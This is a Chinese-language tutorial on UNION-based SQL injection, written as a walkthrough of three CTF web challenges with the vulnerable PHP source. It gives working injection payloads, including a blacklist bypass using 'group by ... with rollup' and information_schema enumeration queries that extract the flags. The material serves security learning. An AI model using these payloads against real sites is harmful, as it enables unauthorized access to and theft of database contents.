SQL注入<二>-联合查询注入

概论

联合查询union可合并两个或多个select语句的结果集,前提是由两条或两条以上的select语句组成,语句之间用关键字union分隔,union中的每个查询的列数必须相同。union会从查询结果集中自动去除了重复行。

利用前提:页面上有显示位。显示位:在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位。

常用函数

1
2
3
group_concat():让查询获得的数据组成一行显示
count():用于统计个数(类似于表的个数,数据库的个数等等)
concat():将多个字符串拼接在一起

例题

实验吧 - 因缺思汀的绕过

题目地址:http://www.shiyanbar.com/ctf/1940 解题链接:http://ctf5.shiyanbar.com/web/pcat/index.php

题目内容:访问解题链接去访问题目,可以进行答题。根据web题一般解题思路去解答此题。看源码,请求,响应等。提交与题目要求一致的内容即可返回flag。然后提交正确的flag即可得分。web题主要考察SQL注入,XSS等相关知识。涉及方向较多。此题主要涉及源码审计,MySQL相关的知识。

打开后,查看源码发现有个注释这应该是源码所在的位置了,访问一下(将source.txt复制到当前地址栏里替换index.php)的确是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可载舟,亦可赛艇!";
exit();
}
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>

分析下源码(专业点就是源码审计),

1
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";

这行代码就是把$filter中的那些SQL注入的关键字给过滤了,那绕过这个限制只需要不用带这些关键字的SQL语句就行,否则网页返回”水可载舟,亦可赛艇!”

1
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";

将uname作为条件输入,然后通过提交的uname去数据库中查询uname和pwd,然后把查询到的pwd和用户输入的pwd再进行对比

1
if (mysql_num_rows($query) == 1)

数据库影响数为1返回结果只能有一条,这是可以使用 limit 的返回来判断数据库中总共有几个人。 可以构造:

1’ or 1 limit 1 offset 0#返回“亦可赛艇!”(1个人)

1’ or 1 limit 1 offset 1#返回“亦可赛艇!”(两个人)

1’ or 1 limit 1 offset 2#返回“一颗赛艇!”(没有第三个人)说明有两个用户

注:limit 1查询一行、offset 2从第二行开始查询

1
2
3
4
5
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}

传入的pwd和查询出来的结果一致就输出flag否则报错,使if判断为true得到flag,可以利用group by with rollupgroup by with rollup会在统计后的产生一条null信息,然后在pwd里不写值,if就为true了。

注:GROUP BY 语句用于结合聚合函数,根据一个或多个列对结果集进行分组。with rollup详解可以看这里

最终payload为

1
1' or 1 group by pwd with rollup limit 1 offset 2#

1

2

flag为CTF{with_rollup_interesting}

bugkuCTF - 这是一个神奇的登录框

题目链接:http://123.206.87.240:9001/sql/

3

先随意输入用户名密码页面返回

4

找注入点,输入1’,页面返回

5

输入1“,页面报错返回

6

说明可以注入,这题按照基本注入步骤就可以了

判断字段个数,输入1”order by 1,2#

7

输入1”order by 1,2,3#

8

说明有两列

爆库名:输入1” union select database(),2#,得到库名bugkusql1

9

爆表名:输入1” union select table_name,2 from information_schema.tables where table_schema=’bugkusql1’ #,得到表名falg1

10

爆列名(字段):输入1” union select column_name,2 from information_schema.columns where table_name=’flag1’ #,得到列名flag1

11

查数据:输入1” union select flag1,2 from flag1 #,得到值也就是flaged6b28e684817d9efcaf802979e57aea,提交时要加上flag{}

12

bugkuCTF - 成绩单

题目链接:http://123.206.87.240:8002/chengjidan/

13

与上题思路是一样的,依次输入1,2,3都有输出,输入1‘无回显,输入1’#返回龙龙龙的成绩,所以这是字符型注入。

判断字段个数:输入

1
2
3
4
1' order by 1#
1' order by 2#
1' order by 3#
1' order by 4#

都有回显,再往后输入5#时无回显,所以字段数为4

爆库名:输入0’ union select 1,2,3,database()#,不用1是因为id=1我们的东西会被覆盖它会显示龙龙龙的成绩,所以要换一个id,得到库名skctf_flag

14

爆表名:输入0’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#,得到表名fl4g,sc

15

爆列名(字段):输入0’ union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’fl4g’)#,得到列名skctf_flag

16

查数据:输入0’ union select 1,2,3,skctf_flag from fl4g#,得到值即flagBUGKU{Sql_INJECT0N_4813drd8hz4}

17

总结

获取数据库名

1
select schema_name from information_schema.schemata

获取表名

1
select table_name from information_schema.tables

获取所有列名

1
select column_name from information_schemata.column()

information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。
在MySQL中,把information_schema看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。在information_schema中,有数个只读表,它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。

information_schema数据库表说明:

schemata表:提供了当前mysql实例中所有数据库的信息。show databases的结果取之此表。

tables表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。show tables from schemaname的结果取之此表。

columns表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。show columns from schemaname.tablename的结果取之此表。

statistics表:提供了关于表索引的信息。show index from schemaname.tablename的结果取之此表。

user_privileges(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表,是非标准表。

schema_privileges(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表,是非标准表。

table_privileges(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表,是非标准表。

column_privileges(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表,是非标准表。

character_sets(字符集)表:提供了mysql实例可用字符集的信息。show character set结果集取之此表。

collations表:提供了关于各字符集的对照信息。

collation_character_set_applicability表:指明了可用于校对的字符集。这些列等效于show collation的前两个显示字段。

table_constraints表:描述了存在约束的表。以及表的约束类型。

key_column_usage表:描述了具有约束的键列。

routimes表:提供了关于存储子程序(存储程序和函数)的信息。此时,routines表不包含自定义函数(udf),名为“mysql.proc name”的列指明了对应于information_schema.routines表的mysql.proc表列。

views表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。

triggers表:提供了关于触发程序的信息。必须有super权限才能查看该表

参考文章:https://blog.csdn.net/xuchen16/article/details/82785371

可以发现在进行SQL注入时会用到许多SQL函数等,所以掌握SQL注入要多练习正所谓熟能生巧,见得多练得多才能记住每个关键字,函数等的含义和用法。